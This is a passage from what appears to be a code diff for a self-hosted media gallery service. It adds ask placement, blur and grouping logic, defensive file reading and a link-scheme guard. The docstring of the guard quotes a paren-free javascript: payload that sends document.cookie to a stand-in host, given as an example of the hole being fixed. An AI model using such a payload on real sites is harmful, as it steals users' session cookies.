Per-question fragments bind to ONE form via the HTML5 `form=` attribute, so four
|
||||
groups scattered down a page still submit as a single POST — which is what a
|
||||
multi-question ask requires (every question or 400). No JavaScript.
|
||||
|
||||
An `<!-- booth:ask anchors -->` comment works the same way, for authors who would
|
||||
rather not put an empty div in their markup.
|
||||
|
||||
Placement is OPTIONAL. A page with no placeholders gets the whole ask appended at
|
||||
the end of its body, so an ask is never invisible — that guarantee is the point,
|
||||
and marking it up only moves it somewhere better.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
|
||||
# <div data-booth-ask="stem"></div> / <span data-booth-ask="stem:key"></span>
|
||||
_EL_RE = re.compile(
|
||||
r"<(?P<tag>[A-Za-z][\w-]*)\b[^>]*?\bdata-booth-ask=\"(?P<spec>[^\"]+)\"[^>]*?>"
|
||||
r"(?:\s*</(?P=tag)\s*>)?",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
_SUBMIT_EL_RE = re.compile(
|
||||
r"<(?P<tag>[A-Za-z][\w-]*)\b[^>]*?\bdata-booth-ask-submit=\"(?P<spec>[^\"]+)\"[^>]*?>"
|
||||
r"(?:\s*</(?P=tag)\s*>)?",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
# <!-- booth:ask stem --> / <!-- booth:ask stem:key --> / <!-- booth:ask-submit stem -->
|
||||
_COMMENT_RE = re.compile(r"<!--\s*booth:ask\s+(?P<spec>[^\s>-][^\s>]*)\s*-->", re.IGNORECASE)
|
||||
_COMMENT_SUBMIT_RE = re.compile(r"<!--\s*booth:ask-submit\s+(?P<spec>[^\s>]+)\s*-->", re.IGNORECASE)
|
||||
|
||||
|
||||
def split_spec(spec: str) -> tuple[str, str | None]:
|
||||
"""`"anchors:lawson"` -> `("anchors", "lawson")`; `"anchors"` -> `("anchors", None)`."""
|
||||
stem, sep, key = spec.strip().partition(":")
|
||||
return stem.strip(), (key.strip() or None) if sep else None
|
||||
|
||||
|
||||
def has_placeholders(html: str) -> bool:
|
||||
return bool(
|
||||
_EL_RE.search(html) or _SUBMIT_EL_RE.search(html)
|
||||
or _COMMENT_RE.search(html) or _COMMENT_SUBMIT_RE.search(html)
|
||||
)
|
||||
|
||||
|
||||
def form_id(stem: str) -> str:
|
||||
return f"bk-ask-form-{re.sub(r'[^A-Za-z0-9_-]', '-', stem)}"
|
||||
|
||||
|
||||
def place(html: str, asks: list, render) -> tuple[str, dict[str, set], set[str]]:
|
||||
"""Substitute every placeholder with rendered ask HTML.
|
||||
|
||||
`render(kind, ask, key)` returns the fragment for kind in
|
||||
{"whole", "question", "submit"}. Returns the new html; a map of stem ->
|
||||
the set of question keys placed inline (with `None` in the set meaning the
|
||||
WHOLE ask was placed); and the set of stems whose submit block was placed
|
||||
explicitly.
|
||||
|
||||
The caller needs the per-key detail, not just "this stem appeared
|
||||
somewhere": a multi-question ask requires EVERY question on submit, so a
|
||||
page that marks up two of four questions must still be handed the other two
|
||||
or the form is unsubmittable — a 400 the operator would meet only after
|
||||
filling it in.
|
||||
|
||||
A placeholder naming an ask this booth does not have is left ALONE, not
|
||||
blanked: silently eating the author's markup would hide a typo'd stem, and
|
||||
an untouched empty div is invisible anyway.
|
||||
"""
|
||||
# Marks index by ATTRIBUTE, not subscript: `place` was the one consumer in
|
||||
# the service that did `a["stem"]`, which a frozen dataclass refuses. Caught
|
||||
# by the U2 seam review (SR-1) — the cold contract pass cannot see a sibling
|
||||
# module's surface by design, so nothing else would have found it before the
|
||||
# first verbatim booth 500'd.
|
||||
by_stem = {a.id: a for a in asks}
|
||||
placed: dict[str, set] = {}
|
||||
submitted: set[str] = set()
|
||||
|
||||
def sub_main(m: re.Match) -> str:
|
||||
stem, key = split_spec(m.group("spec"))
|
||||
ask = by_stem.get(stem)
|
||||
if ask is None:
|
||||
return m.group(0)
|
||||
if key is None:
|
||||
placed.setdefault(stem, set()).add(None)
|
||||
submitted.add(stem)
|
||||
return render("whole", ask, None)
|
||||
q = next((q for q in ask.questions if q.get("key") == key), None)
|
||||
if q is None:
|
||||
return m.group(0)
|
||||
placed.setdefault(stem, set()).add(key)
|
||||
return render("question", ask, key)
|
||||
|
||||
def sub_submit(m: re.Match) -> str:
|
||||
stem, _ = split_spec(m.group("spec"))
|
||||
ask = by_stem.get(stem)
|
||||
if ask is None:
|
||||
return m.group(0)
|
||||
placed.setdefault(stem, set())
|
||||
submitted.add(stem)
|
||||
return render("submit", ask, None)
|
||||
|
||||
for pat, fn in ((_EL_RE, sub_main), (_COMMENT_RE, sub_main),
|
||||
(_SUBMIT_EL_RE, sub_submit), (_COMMENT_SUBMIT_RE, sub_submit)):
|
||||
html = pat.sub(fn, html)
|
||||
return html, placed, submitted
|
||||
+215
-11
@@ -15,6 +15,10 @@ See docs/contracts/u1_item_record.contract.md.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Sequence
|
||||
@@ -26,6 +30,8 @@ except ImportError: # pragma: no cover
|
||||
_markdown = None
|
||||
|
||||
from booth.asks import is_answer_file, is_ask_file
|
||||
from booth.blur import BLUR_FILE, read_blurred # noqa: F401 (re-exported)
|
||||
from booth.thumbs import wants_thumb
|
||||
|
||||
# Browser-playable media buckets. Anything else renders as a download link.
|
||||
IMAGE_EXTS = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".avif", ".svg", ".bmp"}
|
||||
@@ -39,7 +45,18 @@ TEXT_EXTS = {".txt", ".text", ".log"}
|
||||
CAPTION_MAX = 800 # chars of a sidecar .txt caption we render
|
||||
DOC_MAX_BYTES = 2 * 1024 * 1024 # above this, a doc is handed back raw, not rendered
|
||||
|
||||
BLUR_FILE = ".blurred"
|
||||
# `BLUR_FILE` and `read_blurred` live in booth/blur.py (stdlib-only, so the CLI
|
||||
# shares the reader and the writer) and are re-exported from here.
|
||||
|
||||
# Booth-level blur: the whole booth is fogged, agent-set at post time or
|
||||
# toggled by the operator. A MARKER, deliberately not JSON like `.seen` —
|
||||
# `.seen` is JSON because it holds rels that must round-trip exactly, and a
|
||||
# boolean has nothing to round-trip. It matches `.forever`, which is the other
|
||||
# whole-booth flag, so the two read the same way.
|
||||
BOOTH_BLUR_FILE = ".blurbooth"
|
||||
|
||||
# What booth-level blur applies to. Audio has nothing to hide from a glance.
|
||||
BLURRABLE_KINDS = {"image", "video"}
|
||||
|
||||
|
||||
def classify(name: str) -> str:
|
||||
@@ -89,19 +106,98 @@ class Item:
|
||||
url: str
|
||||
kind: str
|
||||
section: str | None
|
||||
group: str | None
|
||||
caption: str | None
|
||||
blurred: bool
|
||||
doc: str | None
|
||||
size: int
|
||||
# R2 C1: the 1-based position in `booth_items` order over ALL items — the
|
||||
# number the operator means by "the third one". Set in the resolver loop
|
||||
# and nowhere else (INV-1). APPENDED, never inserted: a mid-dataclass field
|
||||
# is a positional-construction break.
|
||||
ordinal: int
|
||||
# The tile's image source, or None when the original IS the right source
|
||||
# (vector, video, a type Pillow cannot open, or an image already tile-sized).
|
||||
# Derived HERE so no template reasons about `kind` to decide — INV-1, which
|
||||
# is the caption bug in a new field.
|
||||
thumb: str | None
|
||||
# The item's OWN per-item blur, apart from the booth's fog: the per-item
|
||||
# control toggles only this, so it must not offer an un-blur the booth flag
|
||||
# would override (r2b D2b). From the SAME read as `blurred` — it used to be
|
||||
# a second `read_blurred` in build_gallery, and a write between the two
|
||||
# reads could split them (invariant 3). APPENDED, like `ordinal`.
|
||||
blurred_self: bool
|
||||
|
||||
|
||||
def read_blurred(booth: Path) -> set[str]:
|
||||
"""Blurred item paths for a booth. Missing file -> empty set."""
|
||||
# R2 C2: which items have been looked at full size. UI state, not judgment —
|
||||
# never exposed to sessions, holds nothing. One viewer: this records WHAT was
|
||||
# seen, never who saw it.
|
||||
SEEN_FILE = ".seen"
|
||||
|
||||
|
||||
# A seen marker bigger than this is not one this service wrote: a JSON array of
|
||||
# every rel in a 270-item booth is a few KB.
|
||||
SEEN_MAX_BYTES = 1 << 20
|
||||
|
||||
|
||||
def read_seen(booth: Path) -> set[str]:
|
||||
"""Rels seen at full size (R2 C2). A JSON array of strings, because a rel
|
||||
may hold a leading space or a newline and must round-trip exactly.
|
||||
|
||||
NEVER RAISES and NEVER BLOCKS. Any fleet session can write into a booth,
|
||||
so the marker may be planted: it is opened without following a link and
|
||||
without blocking (a FIFO with no writer), refused unless it is a regular
|
||||
file of sane size, and anything unreadable or malformed reads as nothing
|
||||
seen — a damaged marker costs the tape its memory, never the page.
|
||||
"""
|
||||
try:
|
||||
text = (booth / BLUR_FILE).read_text()
|
||||
except (OSError, UnicodeDecodeError):
|
||||
fd = os.open(booth / SEEN_FILE, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||
except OSError:
|
||||
return set()
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}
|
||||
try:
|
||||
st = os.fstat(fd)
|
||||
if not stat.S_ISREG(st.st_mode) or st.st_size > SEEN_MAX_BYTES:
|
||||
return set()
|
||||
raw = os.read(fd, SEEN_MAX_BYTES + 1)
|
||||
except OSError:
|
||||
return set()
|
||||
finally:
|
||||
os.close(fd)
|
||||
try:
|
||||
data = json.loads(raw.decode("utf-8"))
|
||||
except (UnicodeDecodeError, ValueError, RecursionError):
|
||||
# RecursionError: a deeply nested array (`[[[[...`) blows the parser's
|
||||
# stack, and it is neither a ValueError nor an OSError — the same hole
|
||||
# marks.py, manifest.py and benches.py already close.
|
||||
return set()
|
||||
if not isinstance(data, list):
|
||||
return set()
|
||||
return {r for r in data if isinstance(r, str)}
|
||||
|
||||
|
||||
def is_booth_blurred(booth: Path) -> bool:
|
||||
"""Whether the WHOLE booth is blurred.
|
||||
|
||||
`lstat`, not `exists()`, and an unreadable answer counts as BLURRED —
|
||||
the same shape as `is_kept` with the safety inverted, and the inversion is
|
||||
the point. `is_kept` fails toward keeping because a failed read must not
|
||||
authorize a delete; this fails toward HIDING, because a failed read must not
|
||||
reveal something the poster asked to fog. Both directions are "the failure
|
||||
does not cause the loss".
|
||||
|
||||
A SYMLINK counts, dangling or not: somebody put it there to mean blur.
|
||||
|
||||
Composes with `.blurred`, never overrides it — turning booth blur off must
|
||||
not erase an agent's per-item choice, and an override would need a per-item
|
||||
"unblurred" exception list, which is state nobody can see.
|
||||
"""
|
||||
try:
|
||||
(booth / BOOTH_BLUR_FILE).lstat()
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
except OSError:
|
||||
return True # cannot tell -> fog it; see above
|
||||
|
||||
|
||||
def _section_of(rel: str) -> str | None:
|
||||
@@ -115,6 +211,43 @@ def _section_of(rel: str) -> str | None:
|
||||
return None if str(parent) == "." else parent.as_posix()
|
||||
|
||||
|
||||
# One separator run between name segments. A filename is the only grouping
|
||||
# signal the live booths actually carry: 0 of 11 galleries have a subdirectory.
|
||||
_SEG = re.compile(r"[-_. ]+")
|
||||
|
||||
|
||||
def _group_of(rel: str) -> str | None:
|
||||
"""The grouping key for an item, or None when it has none.
|
||||
|
||||
THE RULE, in one line: **the first separator-delimited segment of the
|
||||
basename's stem — with a trailing digit run stripped only when the stem has
|
||||
no separator at all.** `00-sheet-c1-market-noon.png` -> `00`;
|
||||
`m-c1-market-noon-9401.png` -> `m`; `flag-rear.png` -> `flag`;
|
||||
`ac01.png` -> `ac` (no separator, so the digits are the separator);
|
||||
`v30-seed8302.png` -> `v30` (separator present, so `v30` survives and does
|
||||
not merge with `v35`, which is the axis that booth is about).
|
||||
|
||||
None for a stem with nothing before the digits -- `01.png` has no prefix to
|
||||
group on, and inventing one would file every numbered render under the
|
||||
empty string.
|
||||
|
||||
⚠ THIS IS NOT THE RULE THE CONTRACT FIRST NAMED. `strip ONE trailing run of
|
||||
digits` was measured against the live set on 2026-09-22 and yields 24 groups
|
||||
for sindra-bakeoff's 40 images and 27 for sindra's 30 -- a rail with one row
|
||||
per tile. The contract's own table claimed 5 and 1 for those two booths;
|
||||
neither reproduces under the rule it states beside them. The rewritten table
|
||||
carries the re-measurement.
|
||||
|
||||
Derived HERE and nowhere else (INV-1). A route body that re-derived it would
|
||||
be the caption bug in a new field.
|
||||
"""
|
||||
stem = Path(rel).stem # basename without its last suffix; `a.tar.gz` -> `a.tar`
|
||||
segs = _SEG.split(stem)
|
||||
if len(segs) == 1:
|
||||
return re.sub(r"\d+$", "", stem) or None
|
||||
return segs[0] or None
|
||||
|
||||
|
||||
def _resolve_captions(by_rel: dict[str, Path]) -> tuple[dict[str, str], set[str]]:
|
||||
"""(caption-by-rel, rels consumed as sidecars).
|
||||
|
||||
@@ -158,7 +291,18 @@ def _resolve_captions(by_rel: dict[str, Path]) -> tuple[dict[str, str], set[str]
|
||||
|
||||
if target is not None:
|
||||
try:
|
||||
caption[target] = p.read_text(errors="replace").strip()[:CAPTION_MAX]
|
||||
# BOUNDED AT THE READ. `read_text()` pulled the whole sidecar
|
||||
# into memory before the slice trimmed it, so a pathological
|
||||
# file was a MemoryError — which the OSError handler below does
|
||||
# not catch — rather than a missing caption.
|
||||
#
|
||||
# Deliberately NOT bounded by st_size: a FIFO reports 0 and a
|
||||
# bound that trusts it inherits what it does not mean, which is
|
||||
# the hang in persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md.
|
||||
# The factor of 4 is UTF-8's worst case, so CAPTION_MAX
|
||||
# characters always survive the byte bound.
|
||||
with p.open("r", errors="replace") as fh:
|
||||
caption[target] = fh.read(CAPTION_MAX * 4).strip()[:CAPTION_MAX]
|
||||
except OSError:
|
||||
pass
|
||||
sidecars.add(rel)
|
||||
@@ -179,14 +323,50 @@ def booth_items(booth: Path) -> list[Item]:
|
||||
"""
|
||||
by_rel: dict[str, Path] = {}
|
||||
for p in booth.rglob("*"):
|
||||
if not p.is_file() or p.name.startswith("."):
|
||||
try:
|
||||
# `is_file` swallows a missing entry but PROPAGATES EACCES: a
|
||||
# directory that lists but cannot be searched made every stat under
|
||||
# it raise out of here, and `list_booths` calls this for every
|
||||
# booth — one such folder took down the index for all of them.
|
||||
# An entry nobody can stat is not a renderable file. (design-dev)
|
||||
if not p.is_file():
|
||||
continue
|
||||
except OSError:
|
||||
continue
|
||||
# ⚠ EVERY path component, not just the filename. `p.name.startswith(".")`
|
||||
# tested only the leaf, so `.thumbs/a.png` (name `a.png`) sailed through
|
||||
# as a gallery item — and CLAUDE.md invariant 2 promises a dotfile costs
|
||||
# nothing in item counts, galleries or zips. That promise was true only
|
||||
# at the top level until the `.thumbs/` cache made it matter.
|
||||
#
|
||||
# BOTH guards, not either: they were written independently for different
|
||||
# failures and the merge that kept one would have quietly dropped the
|
||||
# other.
|
||||
if any(part.startswith(".") for part in p.relative_to(booth).parts):
|
||||
continue
|
||||
continue
|
||||
if is_ask_file(p.name) or is_answer_file(p.name):
|
||||
continue
|
||||
by_rel[p.relative_to(booth).as_posix()] = p
|
||||
rel = p.relative_to(booth).as_posix()
|
||||
try:
|
||||
quote(rel, safe="/")
|
||||
except UnicodeEncodeError:
|
||||
# A non-UTF-8 filename reaches CPython as a surrogate escape, and
|
||||
# `quote` raises on it. This used to happen at Item construction,
|
||||
# OUTSIDE any per-item handler — so one 0xff byte in one filename
|
||||
# took out that booth's page AND the index for every booth, because
|
||||
# `list_booths` calls this too. The repo's posture is that a damaged
|
||||
# file costs its own tile and never the page.
|
||||
#
|
||||
# Skipped rather than rescued: a name that cannot be percent-encoded
|
||||
# cannot be linked, served or zipped either, so there is no item to
|
||||
# render. Found by the heid bug-hunt panel (hulda), 2026-09-22.
|
||||
continue
|
||||
by_rel[rel] = p
|
||||
|
||||
caption, sidecars = _resolve_captions(by_rel)
|
||||
blurred = read_blurred(booth) # ONE read per call, not one per item
|
||||
booth_blur = is_booth_blurred(booth) # likewise: one stat, not one per item
|
||||
|
||||
items: list[Item] = []
|
||||
for rel in sorted(by_rel):
|
||||
@@ -197,16 +377,28 @@ def booth_items(booth: Path) -> list[Item]:
|
||||
size = p.stat().st_size
|
||||
except OSError:
|
||||
size = 0
|
||||
kind = classify(p.name)
|
||||
items.append(
|
||||
Item(
|
||||
rel=rel,
|
||||
url=quote(rel, safe="/"),
|
||||
kind=classify(p.name),
|
||||
kind=kind,
|
||||
section=_section_of(rel),
|
||||
group=_group_of(rel),
|
||||
caption=caption.get(rel),
|
||||
blurred=rel in blurred,
|
||||
# Booth blur COMPOSES with the per-item set. Resolved HERE so
|
||||
# every surface inherits it for free — Desk strip, tiles, tray,
|
||||
# filmstrip, stage all already read `Item.blurred` and none of
|
||||
# them learns about the booth flag (INV-1).
|
||||
blurred=rel in blurred or (booth_blur and kind in BLURRABLE_KINDS),
|
||||
doc=doc_kind(p.name),
|
||||
size=size,
|
||||
# Counted over items that RENDER: a caption sidecar or a name
|
||||
# the quote() guard skipped takes no number, so the numbers
|
||||
# stay contiguous over what the operator can see.
|
||||
ordinal=len(items) + 1,
|
||||
thumb=(quote(rel, safe='/') + '?thumb=1') if wants_thumb(rel) else None,
|
||||
blurred_self=rel in blurred,
|
||||
)
|
||||
)
|
||||
return items
|
||||
@@ -221,6 +413,18 @@ def image_chain(items: Sequence[Item]) -> list[str]:
|
||||
return [it.rel for it in items if it.kind == "image"]
|
||||
|
||||
|
||||
# R2 C2: what the review route steps through. ONE LINE: the item order
|
||||
# filtered to media. It is a declared change to the zoom-ring rule, which was
|
||||
# images only: a listening set is reviewed the same way a picture set is.
|
||||
REVIEW_KINDS = ("image", "video", "audio")
|
||||
|
||||
|
||||
def review_chain(items: Sequence[Item]) -> list[str]:
|
||||
"""The rels of the media items, in item order — the review's prev/next ring,
|
||||
its filmstrip and its tape."""
|
||||
return [it.rel for it in items if it.kind in REVIEW_KINDS]
|
||||
|
||||
|
||||
def find_item(items: Sequence[Item], rel: str) -> Item | None:
|
||||
"""The record for one rel, or None — the zoom/doc route's entry point."""
|
||||
for it in items:
|
||||
|
||||
+93
-1
@@ -14,6 +14,7 @@ import hashlib
|
||||
import os
|
||||
import re
|
||||
from pathlib import Path
|
||||
from urllib.parse import unquote, urlsplit
|
||||
|
||||
# ---- the standing link board ------------------------------------------------
|
||||
#
|
||||
@@ -59,6 +60,39 @@ def link_entry_id(raw: str) -> str:
|
||||
return hashlib.sha1(raw.strip().encode()).hexdigest()[:8]
|
||||
|
||||
|
||||
def is_safe_href(url: str) -> bool:
|
||||
"""Whether a board URL may be rendered as an `href` at all.
|
||||
|
||||
⚠ A LIVE VECTOR UNTIL 2026-09-23. Seventeen agent handles append to the
|
||||
standing board and the operator clicks its rows, and nothing guarded the
|
||||
scheme: `javascript:document.location='http://evil.test/'+document.cookie`
|
||||
rendered as a clickable link in the Booth's own origin. Found by design-dev
|
||||
on the way past R2, in code R2 does not touch.
|
||||
|
||||
⚠ AND THE OBVIOUS PROBE MISSES IT. `javascript:alert(1)` IS refused — by
|
||||
the markdown link regex, because the parens break `](...)`. That is an
|
||||
accident, not a guard, and a paren-free payload sails straight through. Do
|
||||
not re-test this with a payload that contains brackets.
|
||||
|
||||
`booth_target` already tests the scheme, but for a DIFFERENT question —
|
||||
which booth a URL names — so it refuses every off-board link too and cannot
|
||||
serve as this guard.
|
||||
|
||||
NEVER RAISES: a board row is arbitrary agent-written text and a predicate
|
||||
that raises on one row takes the whole page.
|
||||
"""
|
||||
try:
|
||||
parts = urlsplit((url or "").strip())
|
||||
except (ValueError, UnicodeDecodeError):
|
||||
return False
|
||||
# Scheme-relative (`//evil.test/x`) parses with an EMPTY scheme and a netloc,
|
||||
# and navigates off-site while looking like a path. An empty scheme is only
|
||||
# safe when it is genuinely relative.
|
||||
if not parts.scheme:
|
||||
return not parts.netloc
|
||||
return parts.scheme.lower() in ("http", "https")
|
||||
|
||||
|
||||
def parse_link_entries(text: str) -> list[dict]:
|
||||
"""Rows of the standing link board, newest last (posting order).
|
||||
|
||||
@@ -78,6 +112,8 @@ def parse_link_entries(text: str) -> list[dict]:
|
||||
"line": i,
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip(),
|
||||
# Derived ONCE here; no template decides whether a row is a link.
|
||||
"safe": is_safe_href(m.group("url") or ""),
|
||||
"who": (m.group("who") or "").strip(),
|
||||
"when": (m.group("when") or "").strip(),
|
||||
})
|
||||
@@ -108,7 +144,8 @@ def remove_link_entry(board: Path, entry_id: str) -> dict | None:
|
||||
if m:
|
||||
removed = {"id": entry_id, "raw": raw.rstrip("\n"),
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip()}
|
||||
"url": (m.group("url") or "").strip(),
|
||||
"safe": is_safe_href(m.group("url") or "")}
|
||||
continue
|
||||
kept.append(raw)
|
||||
if removed is None:
|
||||
@@ -194,3 +231,58 @@ def order_for_display(entries: list[dict], pinned: set[str]) -> list[dict]:
|
||||
stamped = [{**e, "pinned": e["id"] in pinned} for e in entries]
|
||||
stamped.reverse() # newest first
|
||||
return [e for e in stamped if e["pinned"]] + [e for e in stamped if not e["pinned"]]
|
||||
|
||||
|
||||
# ---- what counts as a booth link -------------------------------------------
|
||||
|
||||
|
||||
def booth_target(url: str) -> str | None:
|
||||
"""The booth NAME a URL points at, or None when it is not a booth link.
|
||||
|
||||
ONE PREDICATE, THREE CALLERS — the CLI's `link` refusal, the board's
|
||||
dead-row marker, and `bench import`'s classifier. They must agree: a rule
|
||||
that refuses a shape the board then fails to mark as dead (or the reverse)
|
||||
is two readers of one truth, which is the bug this repo has now paid for
|
||||
three times. `tests/test_benches.py` runs one table through every caller.
|
||||
|
||||
HOST-AGNOSTIC AND PATH-SHAPED. A row is a booth link when its path is
|
||||
`/b/<name>` or `/b/<name>/...`, whatever the host. NOT a host allowlist: the
|
||||
fleet reaches this service as `10.100.10.50:8090`, `localhost:8090` and
|
||||
`nh3-dev.nh3.internal:8090`, and an allowlist would silently fail to refuse
|
||||
from whichever name somebody used next — a rule that fails OPEN on the exact
|
||||
case it exists to catch. The accepted cost is that a third-party URL with a
|
||||
`/b/<x>` path reads as a booth link; that failure is visible (a refusal
|
||||
naming the reason) rather than silent, and no such URL is on the board.
|
||||
|
||||
THE NAME SEGMENT IS PERCENT-DECODED. `app.py` emits booth links through
|
||||
`quote(name, safe="")`, so a booth whose name needs encoding appears on the
|
||||
board encoded. Comparing the raw segment against a directory name would mark
|
||||
every such booth permanently dead and echo the encoded form back at the
|
||||
poster in the refusal message.
|
||||
|
||||
The returned name passes the SAME addressability rules `resolve_booth`
|
||||
enforces (non-empty, no leading dot, no separator, no `..`), so the two
|
||||
cannot disagree about what is reachable.
|
||||
|
||||
NEVER RAISES. A board row is arbitrary operator-editable text; a predicate
|
||||
that raises on one row takes the whole page.
|
||||
"""
|
||||
try:
|
||||
parts = urlsplit((url or "").strip())
|
||||
if parts.scheme.lower() not in ("http", "https"):
|
||||
return None
|
||||
segments = parts.path.split("/")
|
||||
if len(segments) < 3 or segments[1] != "b":
|
||||
return None
|
||||
name = unquote(segments[2])
|
||||
except (ValueError, UnicodeDecodeError):
|
||||
return None
|
||||
if not name or name.startswith(".") or "/" in name or "\\" in name or ".." in name:
|
||||
return None
|
||||
# `unquote` will happily hand back a NUL or a newline, and neither can name
|
||||
# a directory. Unfiltered they reach `is_dir()` (ValueError on an embedded
|
||||
# NUL, which is NOT an OSError and so escapes the marker's guard), the
|
||||
# refusal message the CLI prints, and the marker the board renders.
|
||||
if any(ch in name for ch in "\x00") or any(ord(ch) < 0x20 for ch in name):
|
||||
return None
|
||||
return name
|
||||
|
||||
@@ -488,6 +488,40 @@ def _hydrate(entry: dict) -> Mark:
|
||||
norm = normalize_ask(decl, mid)
|
||||
except AskError as exc:
|
||||
return Mark(**base, declaration=decl, answer=answer, error=str(exc))
|
||||
# THE ANSWER'S SHAPE IS VALIDATED HERE, at the ONE boundary every
|
||||
# surface crosses — not at the three render sites that happen to draw
|
||||
# it today, and not defensively in the template, which would hide that
|
||||
# anything is wrong.
|
||||
#
|
||||
# `{"answer": {"answers": [], "notes": ""}}` is well-formed JSON with a
|
||||
# wrong-shaped value. It passed `_entry_type_error`, passed the
|
||||
# `isinstance(answer, dict)` check above, and `marks_for` and
|
||||
# `hold_read` both reported the mark HEALTHY with no read error — and
|
||||
# then `_ask_inline.html` did `a.answer.answers.get(q.key)`, Jinja asked
|
||||
# a LIST for `.get`, and the gallery page and the marks page returned
|
||||
# 500. Measured at 42ea67f, so it predates U3; U3 guarded only its own
|
||||
# surface with `_safe_fragments` and left these two by scope.
|
||||
#
|
||||
# This is the v0.2.2 lesson finished rather than half-done. That outage
|
||||
# was a file that could not be PARSED and the reader was made lenient;
|
||||
# this one parses perfectly and breaks one layer further in, at render,
|
||||
# where no leniency exists. `read_error` was answering a narrower
|
||||
# question than every caller assumed.
|
||||
#
|
||||
# ONLY the multi case is checked, because only the multi case indexes:
|
||||
# a single-question pick's answer IS the record, with no `answers` key
|
||||
# to get wrong. Requiring one unconditionally would break every single
|
||||
# pick, which is the direction a too-eager guard fails in.
|
||||
if norm["multi"] and isinstance(answer, dict) and \
|
||||
not isinstance(answer.get("answers"), dict):
|
||||
return Mark(**base, declaration=decl, answer=None,
|
||||
prompt=norm["prompt"], title=norm["title"],
|
||||
multi=norm["multi"], questions=norm["questions"],
|
||||
options=norm.get("options", []),
|
||||
notes_enabled=norm["notes"], notes_label=norm["notes_label"],
|
||||
error="this pick's answer is stored in a shape the page "
|
||||
"cannot render; the answer was dropped and the "
|
||||
"question is unanswered")
|
||||
return Mark(
|
||||
**base,
|
||||
declaration=decl,
|
||||
|
||||
@@ -0,0 +1,403 @@
|
||||
/* The Booth - the declared embed seam (U3).
|
||||
*
|
||||
* A booth that ships its own index.html is served verbatim. This script is how
|
||||
* the Booth's chrome gets onto that page WITHOUT the Booth reaching into it:
|
||||
* the report carries one line,
|
||||
*
|
||||
* <script src="/_booth/embed.js" defer></script>
|
||||
*
|
||||
* and everything below mounts through real DOM APIs. It replaced ten regular
|
||||
* expressions applied to author HTML - six hunting for a place to hang a
|
||||
* favicon and a chip, four substituting rendered markup into the author's own
|
||||
* tags. A page that declares this line is now served exactly as written.
|
||||
*
|
||||
* WHAT THIS SCRIPT DOES NOT DECIDE: what a mark says, whether it is still open,
|
||||
* or what order marks come in. Every fragment below is rendered server-side by
|
||||
* the same Jinja macros the gallery page uses, and `open` is computed by
|
||||
* `open_marks`. Two renderers of one truth is the bug INV-1 exists to stop -
|
||||
* the zoom view once re-derived an item and lost its captions doing it.
|
||||
*
|
||||
* Served from a read taken ONCE at app startup. Editing this file does nothing
|
||||
* until `systemctl --user restart booth.service`, exactly like the templates,
|
||||
* and for the same reason: on 2026-09-21 a hot-reloading template put 19 of 25
|
||||
* booths at 500 against Python that had never heard of the context it wanted.
|
||||
*/
|
||||
(function () {
|
||||
"use strict";
|
||||
if (window.__boothEmbed) return; // declared AND appended: mount once
|
||||
window.__boothEmbed = true;
|
||||
|
||||
/* The ask palette's LIGHT values, written once and used by both light rules
|
||||
below (OS light, and forced light), so the two can never drift apart. */
|
||||
var BK_LIGHT = "--bk-accent:#586519;--bk-accent-line:rgba(88,101,25,.55);" +
|
||||
"--bk-accent-soft:rgba(88,101,25,.11);--bk-on-accent:#fff;--bk-open:#7c5500;--bk-open-text:#7c5500;" +
|
||||
"--bk-done:#486741;--bk-done-text:#486741;--bk-skip:#52595e;--bk-err:#a42e07";
|
||||
|
||||
var CSS = [
|
||||
/* SVOS values, written as literals: this sheet lands in a page we did not
|
||||
write, so it can lean on none of base.html's tokens. Hex equivalents of
|
||||
the SVOS semantic tokens (design-systems palettes/svos @ ed2f8d8). */
|
||||
/* ---- the way home, and the open-asks jump ---- */
|
||||
".booth-nav-home,.booth-nav-asks{position:fixed;top:0;z-index:2147483647;",
|
||||
"display:inline-block;margin:.6rem;padding:.38rem .75rem;border-radius:8px;",
|
||||
"text-decoration:none;letter-spacing:.01em;box-shadow:0 4px 14px rgba(0,0,0,.4)}",
|
||||
/* top-right: a top-left chip clips the page title on left-aligned report
|
||||
layouts, and this matches the zoom view's back affordance. */
|
||||
".booth-nav-home{right:0;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#dce3e5;background:rgba(12,16,20,.86);border:1px solid rgba(255,255,255,.16);",
|
||||
"-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);transition:background .12s,border-color .12s}",
|
||||
".booth-nav-home:hover{background:rgba(31,35,40,.96);border-color:rgba(255,255,255,.34)}",
|
||||
/* amber = needs you: the one chip that asks to be clicked */
|
||||
".booth-nav-asks{right:7.4rem;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#15191d;background:#fbc10f;border:1px solid #fbc10f;transition:filter .12s}",
|
||||
".booth-nav-asks:hover{filter:brightness(1.06)}",
|
||||
"@media print{.booth-nav-home,.booth-nav-asks{display:none}}",
|
||||
/* ---- ask fragments. Self-contained: the host page carries its own CSS and
|
||||
nothing here may inherit from it. The palette is a set of custom
|
||||
properties SCOPED TO .bk-ask, flipped by prefers-color-scheme — so each
|
||||
rule below is written once and a host page cannot reach the values
|
||||
without targeting our own class. Neutrals stay translucent so the
|
||||
fragment sits on a light or a dark host alike. ---- */
|
||||
".bk-ask{--bk-accent:#b2cd12;--bk-accent-line:rgba(178,205,18,.55);--bk-accent-soft:rgba(178,205,18,.12);",
|
||||
"--bk-on-accent:#0c1014;--bk-open:#d29a02;--bk-open-text:#fbc10f;--bk-done:#71a166;--bk-done-text:#9bce90;",
|
||||
"--bk-skip:#868d91;--bk-err:#fea47d}",
|
||||
